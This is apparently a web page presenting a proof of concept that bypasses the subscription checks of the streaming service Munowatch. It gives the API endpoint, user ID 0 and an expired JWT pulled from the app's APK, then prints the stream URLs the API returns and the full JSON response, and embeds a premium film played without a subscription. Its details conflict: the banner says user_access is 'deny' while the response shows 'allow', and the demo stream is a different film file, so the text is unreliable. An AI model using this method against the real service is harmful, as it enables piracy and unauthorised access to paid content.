SECURITY RESEARCH PoC  |  The video below plays from Munowatch CDN with NO valid subscription — server-side entitlement not enforced
SECURITY PoC — NO AUTH
CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required
CDN bypass demonstration:
The API returned playingUrl for Flatliners with issubscriber: false and user_access: deny.
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.
Flatliners
Vj Junior Thriller 01h 47m 5 years ago

Five medical students, obsessed by what lies beyond the confines of life, embark on a daring experiment: by stopping their hearts for short periods, each triggers a near-death experience - giving them a firsthand account of the afterlife.

 API Response Evidence — Vulnerability Proof
Endpoint called GET /api/preview/v2/12828/0
User ID used 0 (no user / not logged in)
JWT used Expired Feb 2024 (extracted from APK)
issubscriber false
user_access allow
paid_for YES (premium content)
substatus EXPIRED
serverhost 27
video_name Flat Liners..Jr_x264.mp4
playingUrl returned YES — URL in response
API playingUrl value https://munowatch.co/clips/ELI.mp4
CDN demo stream https://nkuba.b-cdn.net/cleve48/cfr/In.The.Grey.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206). 

{
    "id": 12828,
    "video_title": "Flatliners",
    "description": " Five medical students, obsessed by what lies beyond the confines of life, embark on a daring experiment: by stopping their hearts for short periods, each triggers a near-death experience - giving them a firsthand account of the afterlife. ",
    "video_name": "Flat Liners..Jr_x264.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "27",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "01h 47m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/f51e.jpg",
    "tfilehistory": " ~ 735565819824.jpg ~ ",
    "category_id": 19,
    "language_id": 1,
    "recording_date": "2017-09-01",
    "age_id": "18 +",
    "location": 1,
    "tab_category_id": 19,
    "series_code": "12828",
    "access": "1",
    "paid_for": "1",
    "new_movie": "0",
    "priority": "No",
    "size": "693.68 MB",
    "create_date": "2020-12-24 16:25:45",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 1,
    "video_status_id": 0,
    "network_id": "154.229.28.113",
    "user_access": "allow",
    "notification": "No",
    "secduration": "6428.000000",
    "issubscriber": false,
    "genre": " Thriller",
    "vjname": "Vj Junior",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "5 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}